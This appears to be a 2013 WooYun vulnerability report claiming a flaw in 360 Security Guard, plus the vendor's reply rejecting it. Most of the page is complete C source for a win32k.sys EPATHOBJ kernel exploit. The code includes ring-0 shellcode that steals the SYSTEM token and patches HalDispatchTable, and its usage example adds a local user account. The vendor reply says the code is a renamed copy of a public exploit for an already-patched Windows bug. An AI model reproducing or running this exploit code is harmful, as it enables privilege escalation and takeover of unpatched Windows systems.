当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-041578

漏洞标题:360卫士主防御存在着危险漏洞

相关厂商:奇虎360

漏洞作者: 雷少

提交时间:2013-10-31 12:52

修复时间:2014-01-26 12:53

公开时间:2014-01-26 12:53

漏洞类型:设计不当

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-10-31: 细节已通知厂商并且等待厂商处理中
2013-10-31: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2013-12-25: 细节向核心白帽子及相关领域专家公开
2014-01-04: 细节向普通白帽子公开
2014-01-14: 细节向实习白帽子公开
2014-01-26: 细节向公众公开

简要描述:

360无节操,为了测试这次的本地攻击我自己的系统也废了。
忘开影子系统
此节操通杀xp 2003 win7 干掉QQ 360等主流软件

详细说明:

攻击源码

#include <stdio.h>
#include <STDARG.H>
#include <stddef.h>
#include <windows.h>
//#include <ntstatus.h>
#pragma comment(lib, "gdi32")
#pragma comment(lib, "kernel32")
#pragma comment(lib, "user32")
#define MAX_POLYPOINTS (8192 * 3)
#define MAX_REGIONS 8192
#define CYCLE_TIMEOUT 10000
#pragma comment(linker, "/SECTION:.text,ERW")
//
// win32k!EPATHOBJ::pprFlattenRec uninitialized Next pointer testcase.
//
// Tavis Ormandy <taviso () cmpxchg8b com>, March 2013
//
POINT Points[MAX_POLYPOINTS];
BYTE PointTypes[MAX_POLYPOINTS];
HRGN Regions[MAX_REGIONS];
ULONG NumRegion = 0;
HANDLE Mutex;
// Log levels.
typedef enum { L_DEBUG, L_INFO, L_WARN, L_ERROR } LEVEL, *PLEVEL;
VOID LogInit();
VOID LogRelase();
BOOL LogMessage(LEVEL Level, PCHAR Format, ...);
// Copied from winddi.h from the DDK
#define PD_BEGINSUBPATH 0x00000001
#define PD_ENDSUBPATH 0x00000002
#define PD_RESETSTYLE 0x00000004
#define PD_CLOSEFIGURE 0x00000008
#define PD_BEZIERS 0x00000010
#define ENABLE_SWITCH_DESKTOP 1
typedef struct _POINTFIX
{
ULONG x;
ULONG y;
} POINTFIX, *PPOINTFIX;
// Approximated from reverse engineering.
typedef struct _PATHRECORD {
struct _PATHRECORD *next;
struct _PATHRECORD *prev;
ULONG flags;
ULONG count;
POINTFIX points[4];
} PATHRECORD, *PPATHRECORD;
PPATHRECORD PathRecord;
PATHRECORD ExploitRecord = {0};
PPATHRECORD ExploitRecordExit;
typedef struct _RTL_PROCESS_MODULE_INFORMATION {
HANDLE Section; // Not filled in
PVOID MappedBase;
PVOID ImageBase;
ULONG ImageSize;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT OffsetToFileName;
UCHAR FullPathName[ 256 ];
} RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION;
typedef struct _RTL_PROCESS_MODULES {
ULONG NumberOfModules;
RTL_PROCESS_MODULE_INFORMATION Modules[ 1 ];
} RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES;
typedef ULONG ( __stdcall *NtQueryIntervalProfile_ ) ( ULONG, PULONG );
typedef ULONG ( __stdcall *NtQuerySystemInformation_ ) ( ULONG, PVOID, ULONG, PULONG );
typedef ULONG ( __stdcall *NtAllocateVirtualMemory_ ) ( HANDLE, PVOID, ULONG, PULONG, ULONG, ULONG );
typedef ULONG ( __stdcall *NtFreeVirtualMemory_)( HANDLE, PVOID, PULONG, ULONG);
NtQueryIntervalProfile_ NtQueryIntervalProfile;
NtAllocateVirtualMemory_ NtAllocateVirtualMemory;
NtQuerySystemInformation_ NtQuerySystemInformation;
NtFreeVirtualMemory_ NtFreeVirtualMemory;
ULONG PsInitialSystemProcess, PsReferencePrimaryToken,
PsGetThreadProcess, WriteToHalDispatchTable, FixAddress;
void _declspec(naked) ShellCode()
{
__asm
{
pushad
pushfd
mov esi,PsReferencePrimaryToken
FindTokenOffset:
lodsb
cmp al, 8Dh;
jnz FindTokenOffset
mov edi,[esi+1]
mov esi,PsInitialSystemProcess
mov esi,[esi]
push fs:[124h]
mov eax,PsGetThreadProcess
call eax
add esi, edi
push esi
add edi, eax
movsd

;add token ref count.
pop esi
mov esi, [esi]
and esi, 0xFFFFFFF8
lea eax, [esi-0x18]
mov DWORD PTR [eax], 0x016B00B5
;fix the haltable
mov eax, WriteToHalDispatchTable
mov ecx, FixAddress
mov [ecx], 0xC3
mov DWORD PTR [eax], ecx
popfd
popad
;set ret code for NtQueryIntervalProfile
mov eax, [esp+0xc]
mov DWORD PTR [eax+4], 1
mov DWORD PTR [eax+8], 0xC0000018
xor eax, eax
ret
}
}
DWORD WINAPI WatchdogThread(LPVOID Parameter)
{
//
// This routine waits for a mutex object to timeout, then patches the
// compromised linked list to point to an exploit. We need to do this.
//
LogMessage(L_INFO, "Watchdog thread %d waiting on Mutex", GetCurrentThreadId());

if (WaitForSingleObject(Mutex, CYCLE_TIMEOUT) == WAIT_TIMEOUT) {

//
// It looks like the main thread is stuck in a call to FlattenPath(),
// because the kernel is spinning in EPATHOBJ::bFlatten(). We can clean
// up, and then patch the list to trigger our exploit.
//
while (NumRegion--)
DeleteObject(Regions[NumRegion]);

LogMessage(L_ERROR, "InterlockedExchange(0x%08x, 0x%08x);", &PathRecord->next, &ExploitRecord);

InterlockedExchange((PLONG)&PathRecord->next, (LONG)&ExploitRecord);

} else {
LogMessage(L_ERROR, "Mutex object did not timeout, list not patched");
}

return 0;
}
void wellcome()
{
printf("\t\tthe win32k.sys EPATHOBJ 0day exploit\n");
printf("*******************************************************************\n");
printf("***\texploit by:<progmboy> <雷少>\t\t***\n");
printf("***\t0day finder:<Tavis Ormandy> <雷少>\t***\n");
printf("***\ttested system:xp/2003/win7/2008 (*32bit*)\t\t***\n");
printf("*******************************************************************\n");
}
void usage()
{
printf("\nusage:\n<app> <cmd> <parameter>\n");
printf("example:\napp.exe net \"user 111 111 /add\"");
}
BOOL
FindAFixAddress(
ULONG NtoskrnlBase)
{
FixAddress = NtoskrnlBase + FIELD_OFFSET(IMAGE_DOS_HEADER, e_res2);
LogMessage(L_INFO, "Get FixAddress --> 0x%08x", FixAddress);
return TRUE;
}
// 0x602464FF; /*jmp esp+0x60*/
// 0x51C3686A; /*push 0; ret*/
DWORD CheckMagicDword()
{
OSVERSIONINFOEX OSVer;
DWORD dwMagic = 0;
OSVer.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
if(GetVersionEx((OSVERSIONINFO *)&OSVer)){
switch(OSVer.dwMajorVersion){
case 5:
dwMagic = 0x602464FF;
break;
case 6:
dwMagic = 0x642464FF;
break;
default:
dwMagic = 0;
}
}
return dwMagic;
}
int main(int argc, char **argv)
{
HANDLE Thread;
HDC Device;
ULONG Size;
ULONG PointNum;
int nret = 0;

DWORD MAGIC_DWORD = CheckMagicDword();
ULONG AllocSize = 0x1000, status, NtoskrnlBase;
RTL_PROCESS_MODULES module;
HMODULE ntoskrnl = NULL;
DWORD dwFix;
ULONG Address = MAGIC_DWORD & 0xFFFFF000;
LONG ret;
BOOL bRet = FALSE;
#ifdef ENABLE_SWITCH_DESKTOP
HDESK hDesk;
#endif
HMODULE ntdll = GetModuleHandle( "ntdll.dll" );

wellcome();
if (argc < 2){
usage();
return -1;
}
if (!MAGIC_DWORD){
LogMessage(L_ERROR, "unsupported system version\n");
return -1;
}
LogInit();
NtQueryIntervalProfile = (NtQueryIntervalProfile_)GetProcAddress( ntdll ,"NtQueryIntervalProfile" );
NtAllocateVirtualMemory = (NtAllocateVirtualMemory_)GetProcAddress( ntdll ,"NtAllocateVirtualMemory" );
NtQuerySystemInformation = (NtQuerySystemInformation_)GetProcAddress( ntdll ,"NtQuerySystemInformation" );
NtFreeVirtualMemory = (NtFreeVirtualMemory_)GetProcAddress( ntdll ,"NtFreeVirtualMemory" );
if ( !NtQueryIntervalProfile || !NtAllocateVirtualMemory ||
!NtQuerySystemInformation || !NtFreeVirtualMemory){
LogMessage(L_ERROR, "get function address error\n");
LogRelase();
return -1;
}

//
// try to allocate memory.
//
while (TRUE){
ret = NtAllocateVirtualMemory( (HANDLE)-1, &Address, 0, &AllocSize, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
if(ret < 0){
MEMORY_BASIC_INFORMATION meminfo;
LogMessage(L_ERROR, "allocate memory error code 0x%08x", ret);
LogMessage(L_INFO, "try to free memory");
if(VirtualQuery((LPVOID)Address, &meminfo, sizeof(meminfo))){
LogMessage(L_INFO, "meminfo state %d %d\n", meminfo.State, meminfo.Protect);
}
ret = NtFreeVirtualMemory((HANDLE)-1, &Address, &AllocSize, MEM_RELEASE);
if (ret < 0){
LogMessage(L_ERROR, "free memory error code 0x%08x", ret);
LogRelase();
return -1;
}
}else{
break;
}
}

//
// get the kernel info
//
status = NtQuerySystemInformation( 11, &module, sizeof(RTL_PROCESS_MODULES), NULL);//SystemModuleInformation 11
if ( status != 0xC0000004 ){
LogMessage(L_ERROR, "NtQuerySystemInformation error code:0x%08x\n", status);
LogRelase();
return -1;
}

NtoskrnlBase = (ULONG)module.Modules[0].ImageBase;

//
// 把ntoskrnl.exe加载进来
//

ntoskrnl = LoadLibraryA( (LPCSTR)( module.Modules[0].FullPathName + module.Modules[0].OffsetToFileName ) );
if (ntoskrnl == NULL){
LogMessage(L_ERROR, "LoadLibraryA error code:0x%08x\n", GetLastError());
LogRelase();
return -1;
}

//
// 计算实际地址
//

WriteToHalDispatchTable = (ULONG)GetProcAddress(ntoskrnl,"HalDispatchTable") - (ULONG)ntoskrnl + NtoskrnlBase + 4;
PsInitialSystemProcess = (ULONG)GetProcAddress(ntoskrnl,"PsInitialSystemProcess") - (ULONG)ntoskrnl + NtoskrnlBase;
PsReferencePrimaryToken = (ULONG)GetProcAddress(ntoskrnl,"PsReferencePrimaryToken") - (ULONG)ntoskrnl + NtoskrnlBase;
PsGetThreadProcess = (ULONG)GetProcAddress(ntoskrnl,"PsGetThreadProcess") - (ULONG)ntoskrnl + NtoskrnlBase;

if(!FindAFixAddress(NtoskrnlBase)){
LogMessage(L_ERROR, "Can not Find A Fix Address\n");
nret = -1;
goto __end;
}
//
// Create our PATHRECORD in user space we will get added to the EPATHOBJ
// pathrecord chain.
//
PathRecord = (PPATHRECORD)VirtualAlloc(NULL,
sizeof(PATHRECORD),
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
LogMessage(L_INFO, "Alllocated userspace PATHRECORD () %p", PathRecord);

//
// Initialize with recognizable debugging values.
//
FillMemory(PathRecord, sizeof(PATHRECORD), 0xCC);
PathRecord->next = PathRecord;
PathRecord->prev = (PPATHRECORD)(0x42424242);

//
// You need the PD_BEZIERS flag to enter EPATHOBJ::pprFlattenRec() from
// EPATHOBJ::bFlatten(). We don't set it so that we can trigger an infinite
// loop in EPATHOBJ::bFlatten().
//
PathRecord->flags = 0;
LogMessage(L_INFO, " ->next @ %p", PathRecord->next);
LogMessage(L_INFO, " ->prev @ %p", PathRecord->prev);
LogMessage(L_INFO, " ->flags @ %u", PathRecord->flags);

ExploitRecordExit = (PPATHRECORD)MAGIC_DWORD;
ExploitRecordExit->next = NULL;
ExploitRecordExit->next = NULL;
ExploitRecordExit->flags = PD_BEGINSUBPATH;
ExploitRecordExit->count = 0;

ExploitRecord.next = (PPATHRECORD)MAGIC_DWORD;
ExploitRecord.prev = (PPATHRECORD)WriteToHalDispatchTable;
ExploitRecord.flags = PD_BEZIERS | PD_BEGINSUBPATH;
ExploitRecord.count = 4;

LogMessage(L_INFO, "Creating complex bezier path with %x", (ULONG)(PathRecord) >> 4);

//
// Generate a large number of Belier Curves made up of pointers to our
// PATHRECORD object.
//
for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) {
Points[PointNum].x = (ULONG)(PathRecord) >> 4;
Points[PointNum].y = (ULONG)(PathRecord) >> 4;
PointTypes[PointNum] = PT_BEZIERTO;
}
//
// Switch to a dedicated desktop so we don't spam the visible desktop with
// our Lines (Not required, just stops the screen from redrawing slowly).
//
#ifdef ENABLE_SWITCH_DESKTOP
hDesk = CreateDesktop( "DontPanic",
NULL,
NULL,
0,
GENERIC_ALL,
NULL);
if (hDesk){
SetThreadDesktop(hDesk);
}
#endif

while (TRUE){
BOOL bBreak = FALSE;
Mutex = CreateMutex(NULL, TRUE, NULL);
if (!Mutex){
LogMessage(L_INFO, "Allocated %u HRGN objects", NumRegion);
nret = -1;
goto __end;
}

//
// Get a handle to this Desktop.
//
Device = GetDC(NULL);

//
// Spawn a thread to cleanup
//
Thread = CreateThread(NULL, 0, WatchdogThread, NULL, 0, NULL);

LogMessage(L_INFO, "start CreateRoundRectRgn");

//
// We need to cause a specific AllocObject() to fail to trigger the
// exploitable condition. To do this, I create a large number of rounded
// rectangular regions until they start failing. I don't think it matters
// what you use to exhaust paged memory, there is probably a better way.
//
// I don't use the simpler CreateRectRgn() because it leaks a GDI handle on
// failure. Seriously, do some damn QA Microsoft, wtf.
//
for (Size = 1 << 26; Size; Size >>= 1) {
while (TRUE){
HRGN hm = CreateRoundRectRgn(0, 0, 1, Size, 1, 1);
if (!hm){
break;
}
if (NumRegion < MAX_REGIONS){
Regions[NumRegion] = hm;
NumRegion++;
}else{
NumRegion = 0;
}
}
}
LogMessage(L_INFO, "Allocated %u HRGN objects", NumRegion);
LogMessage(L_INFO, "Flattening curves...");

//
// Begin filling the free list with our points.
//

dwFix = *(PULONG)ShellCode;
for (PointNum = MAX_POLYPOINTS; PointNum; PointNum -= 3) {
BeginPath(Device);
PolyDraw(Device, Points, PointTypes, PointNum);
EndPath(Device);
FlattenPath(Device);
FlattenPath(Device);

//
// call the function to exploit.
//
ret = NtQueryIntervalProfile(2, (PULONG)ShellCode);

//
// we will set the status with 0xC0000018 in ring0 shellcode.
//
if (*(PULONG)ShellCode == 0xC0000018){
bRet = TRUE;
break;
}

//
// fix
//

*(PULONG)ShellCode = dwFix;
EndPath(Device);
}

if (bRet){
LogMessage(L_INFO, "Exploit ok run command");
ShellExecute( NULL, "open", argv[1], argc > 2 ? argv[2] : NULL, NULL, SW_SHOW);
bBreak = TRUE;
}else{
LogMessage(L_INFO, "No luck, cleaning up. and try again..");
}

//
// If we reach here, we didn't trigger the condition. Let the other thread know.
//
ReleaseMutex(Mutex);

ReleaseDC(NULL, Device);
WaitForSingleObject(Thread, INFINITE);
if (bBreak){
break;
}
}
__end:
LogRelase();
if (ntoskrnl)
FreeLibrary(ntoskrnl);
#ifdef ENABLE_SWITCH_DESKTOP
if (hDesk){
CloseHandle(hDesk);
}
#endif
return nret;
}
CRITICAL_SECTION gCSection;
VOID LogInit()
{
InitializeCriticalSection(&gCSection);
}
VOID LogRelase()
{
DeleteCriticalSection(&gCSection);
}
//
// A quick logging routine for debug messages.
//
BOOL LogMessage(LEVEL Level, PCHAR Format, ...)
{
CHAR Buffer[1024] = {0};
va_list Args;

EnterCriticalSection(&gCSection);
va_start(Args, Format);
_snprintf(Buffer, sizeof(Buffer), Format, Args);
va_end(Args);
switch (Level) {
case L_DEBUG: fprintf(stdout, "[?] %s\n", Buffer); break;
case L_INFO: fprintf(stdout, "[+] %s\n", Buffer); break;
case L_WARN: fprintf(stderr, "[*] %s\n", Buffer); break;
case L_ERROR: fprintf(stderr, "[!] %s\n", Buffer); break;
}

fflush(stdout);
fflush(stderr);

LeaveCriticalSection(&gCSection);
return TRUE;
}


测试方法:

11.png

任意一个进程

3.png


执行后360的功能全废了

1.png

2.png


4.png


漏洞证明:

4.png

调用了某牛的程序

修复方案:

你们好专业

版权声明:转载请注明来源 雷少@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-01-26 12:53

厂商回复:

此报告中的问题的并非是360的安全漏洞,是一个今年3月已经公开的微软Winodows内核漏洞,而且在今年7月已经修复,且相关攻击代码早已公开,此报告中的代码即是由已经在看雪论坛在今年6月公开的攻击代码基础上照抄和修改了作者名的结果,看雪上的代码链接为:
http://bbs.pediy.com/showthread.php?t=172839
此攻击代码公开后,360在5天内全球首家提供了针对此攻击的防御临时补丁版本:
http://bbs.360safe.com/thread-1695687-1-1.html
带有临时补丁版本的下载地址:
http://dl.360safe.com/setupbeta_9.2.0.1002z.exe
此临时补丁可以防御这个当时的0day漏洞的攻击
在今年7月的补丁日,微软发布了针对此漏洞的安全补丁:
http://blogs.technet.com/b/msrc/archive/2013/07/04/advance-notification-service-for-july-2103-security-bulletin-release.aspx
在用户升级了微软补丁后,相关临时补丁在360防御中已经撤销,用户按360提示安装补丁后即可彻底对此漏洞的攻击免疫。

最新状态:

暂无